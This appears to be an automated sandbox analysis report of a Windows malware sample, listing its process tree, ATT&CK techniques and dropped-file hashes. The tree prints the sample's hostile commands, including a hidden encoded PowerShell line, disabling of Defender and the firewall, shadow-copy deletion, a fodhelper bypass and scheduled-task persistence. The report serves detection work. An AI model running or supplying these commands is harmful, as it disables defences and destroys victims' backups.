2136 1300 cmd.exe 147 PID 3320 wrote to memory of 4380 3320 cmd.exe 148 PID 460 wrote to memory of 4904 460 cmd.exe 149 PID 4104 wrote to memory of 3492 4104 net.exe 150 PID 4020 wrote to memory of 3296 4020 cmd.exe 151 PID 3328 wrote to memory of 716 3328 cmd.exe 152 PID 3328 wrote to memory of 4320 3328 cmd.exe 153 PID 1912 wrote to memory of 688 1912 socolivetvttbd.tv_chrome.exe 154 PID 1912 wrote to memory of 3896 1912 socolivetvttbd.tv_chrome.exe 155 PID 1912 wrote to memory of 3224 1912 socolivetvttbd.tv_chrome.exe 158 PID 1912 wrote to memory of 2460 1912 socolivetvttbd.tv_chrome.exe 160 PID 1912 wrote to memory of 3200 1912 socolivetvttbd.tv_chrome.exe 161 PID 1912 wrote to memory of 4356 1912 socolivetvttbd.tv_chrome.exe 164 PID 3224 wrote to memory of 4276 3224 net.exe 166 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe"C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5016
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3892
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4836
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:756
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4176
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1380
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3328
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1324
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3960
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe"C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe"3⤵PID:1320
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:712
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:3000
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:544
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3364
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:688
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2440 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3364
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3328 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:716
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4320
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3320 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4380
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:460 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:4904
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4648 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:404
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3492
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2136
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3296
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3056
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4612
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1316
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:688
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:3896
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:3224 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4276
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2460
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3200
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4356
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1616
-
C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exeC:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe1⤵PID:1448
-
C:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exeC:\Users\Admin\AppData\Local\Temp\socolivetvttbd.tv_chrome.exe1⤵PID:4196
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260830_181741.jpg
- Size 94KB
- SHA256 781bd5a3934c326164d1cff699a6e211c7e0590cd1a681a385b34e4315f103c5
- MD5 2becef272142f6dfc185e99f40a3610b
- SHA1 f5a32c3e8062dc11574ebe18e216d9d4df96dbaa
- SHA512 1dc3cb709d3d8d77f30b622881c3d7a8e9878751acdf7420ffc21522a9e35f5ddf890009e30e2a2a10cf209ef56bf0d8defc0bc2d220b144842b0cb0df5b8487
- SSDEEP 1536:IIrxIHLyjGMnMVpsYGZFA40gQMG1h8YFobkw:pqHmjJnMV7GDgMGX8YFM
- TLSH T19893BE138C0C8F87A528C7E97E170E6C7B0A6B1CA9823AFF55264DCB7F645151C8E46E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 76KB
- SHA256 e58eeb7f18010aa9459ea79ac5fbf529c57b6634e440b9851da23794048d4fe9
- MD5 69e7d43b90596a56965ab70faef80474
- SHA1 eb35347ba43709996c478a27a069379895ad75ad
- SHA512 ab74c7ba78a6af0548fd2d717448ada8eac2a1cc23d39fd9c3116de63586aafc9dedddf24baa2d6e9fe31b245c5d2f6c514dd4ea9ef3b199932476fec01e716e
- SSDEEP 1536:OOjZTKkqILYq/4kAEO/04uxKwj+dVt+SjHB+DjXQQdLkeSYG+VfpRKP40Z:OOjZjqIL9/40OcydVfOXQQGXYGqRKP/Z
- TLSH T1A27309368E22FCD4677F3D80E0103A561C883E678B7527BCFA850D662AA5644DF3E59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 76KB
- SHA256 bcc9deaebd2b5c9f6a324f3e077e9b1253781ad31f3a089c72ec12c7b4bbdbd9
- MD5 12323db634d62154cc758daada29db8c
- SHA1 48f1d735960d8061608af1a7205b63a96555606c
- SHA512 d151d361b1717fa585232043c216bb39bd2eca388c5ac674493b8e6355847833f8ba0ab985ee991572c683fc9954c63ee611e61be7cd6151fdfb9eae98ffc6d5
- SSDEEP 1536:uOjZTKkqILYq/4kAEO/04uxKwj+dVt+SjHB+DjXQQdLkeSYG+VfpRKP40w:uOjZjqIL9/40OcydVfOXQQGXYGqRKP/w
- TLSH T1A47309368E22FCD4677F3D80E0503A461C883E678B7527BCFA850DA62AA5644DF3D59C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\socolivetvttbd.tv_chrome.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v5mp4cdj.wht.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 249B
- SHA256 ce848ce805af70b965f0d24b90cfbac5c535560118971703656246ab1ae7cb74
- MD5 0aca021efee23f6799419ae78636a931
- SHA1 af44ba8704d160d017a066c772a3cd69eb20d5a2
- SHA512 1db7070a8e1cc024645519542e60efc7d05224d451530b8665068111c21ecbf0fcf3879dcdbb83a370cf4a7a3cd5c122508c8c9931609fd0ac2f987ed5c89977
- TLSH T169D0978BB209C2B90000223B80F3CD4CEAE298283B13BF605AA5CC0D32918848AF6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 250B
- SHA256 c229cc34e792e413785e673d68016bf89f1a848a5f494ec193c7be9c8bbc0737
- MD5 3292dbd4f41725a498f9161595414bf1
- SHA1 f5cb1c33333c94c3bf0bee7561e093de186cfc78
- SHA512 fc9d0a9277e13cd558b02ffc800e8522b2ed0fde27408071d0029032c7b42a669ffd222ea3d2c4006aa1661e9ba1d2c1a90443823bd7080340551d62f234f25c
- TLSH T171D0A5CBB149C5790005153B40F3DD4DDBD254693F136F615655DD0D325184549F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 126KB
- SHA256 51f572ab70e2ba47f6b5615b2f9497f072fc7f118fe5648124a3da97dea69777
- MD5 94285ca5eacc43046d825a9d98264851
- SHA1 b4f50359820b75edb9d65dee285d4143fff81934
- SHA512 0d9c9cfecd978589fd5f65cfebbe2af6b8ad626d885a8c824ab5c95fae67cf0bd7cb162c4b410e8a87a57055101fceef2d104a1a9d55020d55a642c771bb1550
- SSDEEP 1536:OC6ERQuFRrymaiMA9zF/webEHAAo2Yw4iPFY9xwEsFTw4Yqrt43d:OC6EKiM4wYMrCNwF8sFsC43d
- TLSH T198C3FA41C7B29F3E44970AAF180672D1A479F7F592DCC1FB35A6AE23F062CA6C61C211
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 126KB
- SHA256 51e3fb9666e8950e8a2100743ec6b894e08bc3fae0ce5365fc7554893cad31e2
- MD5 d93b45dd36552160203b72512756e890
- SHA1 45335ad38936374bf3e59304e7ec248e7fffb8a5
- SHA512 2b7b5774994a098b1d58ad3b3c9d1994ac06b0fd1150db15f445b24ca871a9515939e9e25ba15fc21528b9b875f700919f1b9704f4dfede754a51d68df534142
- SSDEEP 1536:9C6ERQuFRrymaiMA9zF/webEHAAo2Yw4iPFY9xwEsFTw4Yqrt43n:9C6EKiM4wYMrCNwF8sFsC43n
- TLSH T159C3FA41C7B29F2E44971AAF180732D1A079F7F592DCC1FB35A6AE23F162CA6C61C611
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 57KB
- SHA256 cc205c2194dcd1b8d1e9d96f16a49281bd4b5e5259fae782eb3d18cdae4e23e5
- MD5 e900f25e06fc17a8f226ac6c7e34e00f
- SHA1 8a59569d399a14505413283b4fadc732ef0dd94c
- SHA512 b93179c747c4d7e81e07461bc83c1f10254f24ad52c4df65c74e222021a86522fb5c17399ff2f5b17008539fc093cfce17d898d32ed41b8a89a365b27b957de2
- SSDEEP 768:JFH4qdXBO7CHoiGKpFpkCk3uPBdgYMK4YN1XXGb5fAdOT+KFum19:JRhI5XJuf9t4YLXGb5feOT+uuy
- TLSH T15043E84473FD4211F1BF5EBA5DB191514B32B867AD32C39D0A94068E19B2B40CEA8F7B
- MD5 SHA1 SHA512 SSDEEP TLSH